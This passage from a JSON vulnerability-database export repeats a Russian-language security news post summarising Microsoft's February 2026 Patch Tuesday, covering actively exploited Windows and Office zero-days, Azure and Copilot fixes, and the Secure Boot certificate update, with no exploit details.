\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a Azure. \u041f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b Microsoft \u043d\u0430 \u0441\u0432\u043e\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 CVE-2026-21522, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 ACI Confidential Containers.\n\n\u0422\u0430\u043a\u0436\u0435 Microsoft \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043b\u0430\u0442\u0430\u0442\u044c \u0434\u044b\u0440\u044b \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441 \u0418\u0418. \u0417\u0430\u043a\u0440\u044b\u0442\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e RCE \u0432 GitHub Copilot \u0438 Visual Studio (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, CVE-2026-21523 \u0438 CVE-2026-21516), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 IDE. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u043e\u043d\u0438 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u043c\u043f\u0442-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438.\n\n\ud83d\udd10 Secure Boot\n\u0421 \u044d\u0442\u0438\u043c \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u043c \u0430\u043a\u0442\u0438\u0432\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Secure Boot. \u0421\u0442\u0430\u0440\u044b\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b 2011 \u0433\u043e\u0434\u0430 \u0438\u0441\u0442\u0435\u043a\u0430\u044e\u0442 \u0432 \u0438\u044e\u043d\u0435 2026, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Windows \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0438\u0445 \u0442\u0430\u043c, \u0433\u0434\u0435 \u044d\u0442\u043e \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0440\u0438\u0441\u043a\u0430 \u00ab\u043e\u043a\u0438\u0440\u043f\u0438\u0447\u0438\u0442\u044c\u00bb \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440. \u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u044b, \u0433\u0434\u0435 \u043f\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0435\u0442 \u0441\u0430\u043c\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b. \n\n#Microsoft #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2026-02-11T07:10:04.000000Z"}, {"uuid": "fb23a223-2c02-4b02-81f6-ca88096e3286", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21533", "type": "seen", "source": "https://t.me/kasperskyb2b/2078", "content": "\ud83d\udc98 \u0424\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439 Patch Tuesday: \u0428\u0415\u0421\u0422\u042c \ud83d\udd25 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432 \u0432 \u00ab\u0433\u043e\u0440\u044f\u0447\u0438\u0439\u00bb \u0441\u0435\u0437\u043e\u043d\n\nMicrosoft \u0434\u0430\u0440\u0438\u0442 \u0432\u0441\u0435\u043c \u0432\u043b\u044e\u0431\u043b\u0451\u043d\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043f\u0430\u0442\u0447\u0435\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e, \u043d\u043e \u0432\u043f\u0435\u0447\u0430\u0442\u043b\u044f\u0435\u0442 \u0447\u0438\u0441\u043b\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432. \u0412\u0441\u0435\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u043e 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (62 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432), \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 5 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 (3 EoP \u0438 2 \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438). \u0412\u0441\u0435\u0433\u043e 25 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, 12 \u2014 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, 7 \u2014 \u0441\u043f\u0443\u0444\u0438\u043d\u0433\u0443, 6 \u2014 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 5 \u2014 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 3 \u2014 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438. \n\n\u0426\u0435\u043b\u044b\u0445 6 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u0442\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445 Microsoft  \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043a\u0430\u043a \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0451\u043d\u043d\u044b\u0435 \u0435\u0449\u0451 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0435\u0439, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0433\u0434\u0435 \u044d\u0442\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e. \u0412 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u043b\u0443\u0447\u0448\u0435 \u043d\u0435 \u0442\u044f\u043d\u0443\u0442\u044c.\n\n\ud83d\udd25 \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \n\n\ud83d\udfe2 CVE-2026-21510 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Windows Shell. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u044f\u0440\u043b\u044b\u043a \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0443, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 SmartScreen \u0438 Mark of the Web. \u0417\u0430 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 Google TAG, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0430.\n\n\ud83d\udfe2 CVE-2026-21513 (CVSS 8.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 MSHTML (\u043f\u0440\u0438\u0432\u0435\u0442, Internet Explorer). \u0414\u0430, IE \u043c\u0451\u0440\u0442\u0432, \u043d\u043e \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0432\u0441\u0451 \u0435\u0449\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0430 \u0442\u0430\u043a\u043e\u0439 \u0436\u0435 \u0441\u0431\u043e\u0440\u043d\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\ud83d\udfe2 CVE-2026-21514 (CVSS 7.8) \u2014 \u043e\u0431\u0445\u043e\u0434 \u0437\u0430\u0449\u0438\u0442\u044b \u0432 Microsoft Word. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0435 COM/OLE \u043e\u0431\u044a\u0435\u043a\u0442\u044b. \u0425\u043e\u0440\u043e\u0448\u0430\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c: \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043d\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430  \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u0417\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f\u0442 \u0432\u0441\u0451 \u0442\u0435\u0445 \u0436\u0435, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043b\u0438 \u044d\u0442\u0438 \u0442\u0440\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435, \u0438\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0445.\n\n\ud83d\udfe2 CVE-2026-21519 (CVSS 7.8) \u2014 EoP \u0432 Desktop Window Manager. \u0412\u0442\u043e\u0440\u043e\u0439 \u043c\u0435\u0441\u044f\u0446 \u043f\u043e\u0434\u0440\u044f\u0434 \u0432 DWM \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0434\u044b\u0440\u0443, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 SYSTEM. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u043f\u0430\u0442\u0447 \u0431\u044b\u043b \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u043c.\n\n\ud83d\udfe2 CVE-2026-21533 (CVSS 7.8) \u2014 EoP \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 Remote Desktop Services. \u041d\u0435 \u0434\u0430\u0439\u0442\u0435 \u0441\u043b\u043e\u0432\u0443 Remote \u0432\u0430\u0441 \u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c \u2014 \u044d\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e SYSTEM. \n\n\ud83d\udfe2 CVE-2026-21525 (CVSS 6.2) \u2014 \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u0420\u0435\u0434\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u043a\u043e\u0433\u0434\u0430 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f DoS  \u0447\u0435\u0440\u0435\u0437 \u0440\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044f.\n\n\u2601\ufe0f  \u041e\u0431\u043b\u0430\u043a\u0430 \u0438 \u0418\u0418\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432\u0441\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0444\u0435\u0432\u0440\u0430\u043b\u044f \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a Azure. \u041f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b Microsoft \u043d\u0430 \u0441\u0432\u043e\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 CVE-2026-21522, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 ACI Confidential Containers.\n\n\u0422\u0430\u043a\u0436\u0435 Microsoft \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u043b\u0430\u0442\u0430\u0442\u044c \u0434\u044b\u0440\u044b \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441 \u0418\u0418. \u0417\u0430\u043a\u0440\u044b\u0442\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e RCE \u0432 GitHub Copilot \u0438 Visual Studio (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, CVE-2026-21523 \u0438 CVE-2026-21516), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 IDE. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u043e\u043d\u0438 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0442\u0438\u043f\u0430\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u043c\u043f\u0442-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438.\n\n\ud83d\udd10 Secure Boot\n\u0421 \u044d\u0442\u0438\u043c \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u043c \u0430\u043a\u0442\u0438\u0432\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 Secure Boot. \u0421\u0442\u0430\u0440\u044b\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b 2011 \u0433\u043e\u0434\u0430 \u0438\u0441\u0442\u0435\u043a\u0430\u044e\u0442 \u0432 \u0438\u044e\u043d\u0435 2026, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 Windows \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0438\u0445 \u0442\u0430\u043c, \u0433\u0434\u0435 \u044d\u0442\u043e \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0440\u0438\u0441\u043a\u0430 \u00ab\u043e\u043a\u0438\u0440\u043f\u0438\u0447\u0438\u0442\u044c\u00bb \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440. \u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f Microsoft \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u044b, \u0433\u0434\u0435 \u043f\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0435\u0442 \u0441\u0430\u043c\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u044b. \n\n#Microsoft #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2026-02-11T07:10:04.000000Z"}, {"uuid": "5d847d3d-6add-4cf9-a83f-b725d36ec572", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21516", "type": "seen", "source": "https://t.me/kasperskyb2b/2078", "content": "\ud83d\udc98 \u0424\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439 Patch Tuesday: \u0428\u0415\u0421\u0422\u042c \ud83d\udd25 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432 \u0432 \u00ab\u0433\u043e\u0440\u044f\u0447\u0438\u0439\u00bb \u0441\u0435\u0437\u043e\u043d\n\nMicrosoft \u0434\u0430\u0440\u0438\u0442 \u0432\u0441\u0435\u043c \u0432\u043b\u044e\u0431\u043b\u0451\u043d\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043f\u0430\u0442\u0447\u0435\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e, \u043d\u043e \u0432\u043f\u0435\u0447\u0430\u0442\u043b\u044f\u0435\u0442 \u0447\u0438\u0441\u043b\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0437\u0438\u0440\u043e\u0434\u0435\u0435\u0432. \u0412\u0441\u0435\u0433\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u043e 58 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (62 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432), \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 5 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 (3 EoP \u0438 2 \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438). \u0412\u0441\u0435\u0433\u043e 25 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, 12 \u2014 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, 7 \u2014 \u0441\u043f\u0443\u0444\u0438\u043d\u0433\u0443, 6 \u2014 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, 5 \u2014 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 3 \u2014 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438. \n\n\u0426\u0435\u043b\u044b\u0445 6 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u0442\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445 Microsoft  \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442 \u043a\u0430\u043a \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0451\u043d\u043d\u044b\u0435 \u0435\u0449\u0451 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0430\u0442\u0447\u0435\u0439, \u043d\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0433\u0434\u0435 \u044d\u0442\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e. \u0412 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0441 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u043b\u0443\u0447\u0448\u0435 \u043d\u0435 \u0442\u044f\u043d\u0443\u0442\u044c.\n\n\ud83d\udd25 \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f 